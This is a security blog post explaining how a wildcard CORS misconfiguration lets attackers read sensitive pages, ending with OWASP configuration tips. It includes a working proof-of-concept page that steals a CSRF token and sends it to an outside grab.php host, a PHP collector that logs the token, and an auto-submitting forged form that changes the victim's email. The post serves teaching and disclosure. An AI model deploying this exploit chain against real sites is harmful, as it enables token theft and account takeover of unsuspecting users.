Security impact of a misconfigured CORS implementation

It has been quiet some time I have not blogged about anything new, so I hope this blog post is sufficient to catch up my inactivity 🙂 It is also worth mentionning that this vulnerability has earned me quiet few good rewards from bug bounty programs.

HTML5 brought us some great new features to power the web by providing support for latest multimedia and server communication. Besides, all the latest versions of modern browsers have their support for HTML5. The features are designed to make it easy to include, and handle multimedia and graphical content on the web without having to use any third-party plug-ins or APIs. Cross Origin Resource Sharing is one of the implementations that HTML5 brought into light.

Wikipedia defines Cross-origin resource sharing (CORS) as «  a mechanism that allows restricted resources (e.g. fonts) on a web page to be requested from another domain outside the domain from which the resource originated. ». So, CORS came essentially to eliminate some restrictions imposed by the Same-origin policy which would block a AJAX requests from accessing data on a web page unless it is coming from the same origin.

In simple words, Imaging the example.com wants to access some data on another website, suppose site.com. This type of request traditionally wouldn’t be allowed under the browser’s Same Origin Policy. However, by supporting CORS requests, site.com can add a few special response headers that allows example.com to access the data.

I would love to explain how CORS is implemented but, unfortunately, the topic of this blog post will not cover that particular point. We would rather focus on the security aspect of this functionnality.

You can use Curl to check if the website has CORS enabled or not. You can simply type the following command :

curl -H "Origin: https://evil.com" --verbose \

https://cdn.shopify.com/

The -H “Origin: https://evil.com” flag is the third party domain making the request. Substitute in whatever your domain is.

The –verbose flag prints out the entire response so you can see the request and response headers.

Capture d’écran 2015-10-30 à 23.58.36

The server may respond with:

  • An Access-Control-Allow-Origin header in its response indicating which origin sites are allowed. For example:
Access-Control-Allow-Origin: https://www.evil.com
  • An error page if the server does not allow the cross-origin request :
Request Blocked: The Same Origin Policy disallows reading the remote resource at https://www.site.com/. This can be fixed by moving the resource to the same domain or enabling CORS.
  • An Access-Control-Allow-Origin (ACAO) header with a wildcard that allows all domains:
Access-Control-Allow-Origin: *

Now, a wildcard same-origin policy is appropriate when a page is considered completely public content and it is intended to be accessible to everyone such as assets on CDN. However, the security misconfiguration that most developers skip is allowing cross-domain requests from all origins to pages that contains sensitive content. For example, setting Access-Control-Allow-origin response header with a wildcard in a page where user API key is stored, which means that all websites are allowed to access that page via ajax calls. Consequently, any attacker can retrieve the content of the page and particularly extract the API Key from the source code.

To illustrate how a misconfigured CORS can be exploited, we will take the example of a web application that stores user authenticity token in meta tag.

CSRF token

After I have intercepted a few http responses I noticed that the application have CORS enabled and set Access-Control-Allow-Origin header with a *wildcard **

To extract the CSRF token, we are going to send the website an AJAX request that will crawl the code and copy the token.

<html>
<head>
<script>
function hack()
{
var xmlhttp;
if (window.XMLHttpRequest)
  {
  xmlhttp=new XMLHttpRequest();
  }
else
  {
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.open("GET","https://site.com/",false);
xmlhttp.send();
if(xmlhttp.status==200)
{
var str=xmlhttp.responseText;
var n=str.search("csrf-token");
var c=str.substring(n+30,n+74);
var url = "https://yassineaboukir.com/grab.php?c=" + encodeURIComponent(c);
xmlhttp.open("GET", url, true);
xmlhttp.send();
}
}
</script>
</head>
<body onload="hack();">
</body>
</html>

You can insert the above code in an HTML page and send the link to the victim. The extracted value will be sent in the background to a PHP file grab.php that will catch the token and store it in a text file (Scenario 1). Don’t forget to modify the name of the meta tag, length of the token, PHP file link.

You can either store it in a text file and later craft a CSRF attack against the victim. Otherwise, the attacker could have already set up a page that will catch the token and, simultaneously, send a forged request to the application on behalf of the user (Scenario 2)

Scenario 1 : The Php file will catch the token and store it in pwn.txt

<?php
$cookie = $_GET['c'];
$file = fopen("pwn.txt", 'a');
fwrite($file, $cookie . "\n\n");
fclose($file);
echo "<script>document.location.href='https://www.site.com';</script>";
?>

 

Scenario 2 : The php file will catch the CSRF token and imediately send a forged request to the application in order to add the attacker’s address mail.

<form name="send" action="https://www.site.org/en-US/users/account/email" method="POST" >
      <input type="hidden" name="csrfmiddlewaretoken" value="<?php $token=$_GET['c']; print $token; ?>"/>
      <input type="hidden" name="email" value="yaaboukir@gmail.com" />
      <input type="hidden" name="action_add" value="" />
      <script type="text/javascript" language="JavaScript">
    document.send.submit();
    </script>
    </form>

The most interesting capability exposed by both XmlHttpRequest and Access Control is the ability to make « credentialed » requests that are aware of HTTP Cookies and HTTP Authentication information. But, when responding to a credentialed request,  server must specify a domain, and cannot use wild carding. Consequently, You should also note that if the CSRF token is associated with user session, then the extracted token will not be authenticated and cannot be used to craft a working CSRF exploit. However, based on my experience in penetration testing and bug hunting there are some web application that lacks best security practices and do not regenerate the token once the user is authenticated. Consequently, the previously extracted token can be reused to attack the user.

The following video is the proof of concept of a similar vulnerability discovered on Maximum.com and that I successfully exploited to grab the users’ authenticity token :

Although CORS can be very useful, its use carries some security implications that users should be aware of. A few tips on the use and configuration of CORS extracted from the OWASP website.

  • Ensure that URLs responding with *Access-Control-Allow-Origin: ** do not include any sensitive content or information that might aid attacker in further attacks.
  • Allow only selected, trusted domains in the Access-Control-Allow-Origin header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use * wildcard nor blindly return the Origin header content without any checks).
  • Don’t rely only on the Origin header for Access Control checks. Browsers always send this header in CORS requests, but it may be spoofed outside the browser. Application-level protocols should be used to protect sensitive data.

References :

https://en.wikipedia.org/wiki/Cross-origin_resource_sharing

https://www.html5rocks.com/en/tutorials/cors/

https://www.dionach.com/blog/a-case-of-a-misconfigured-cors-implementation

Written on November 1, 2015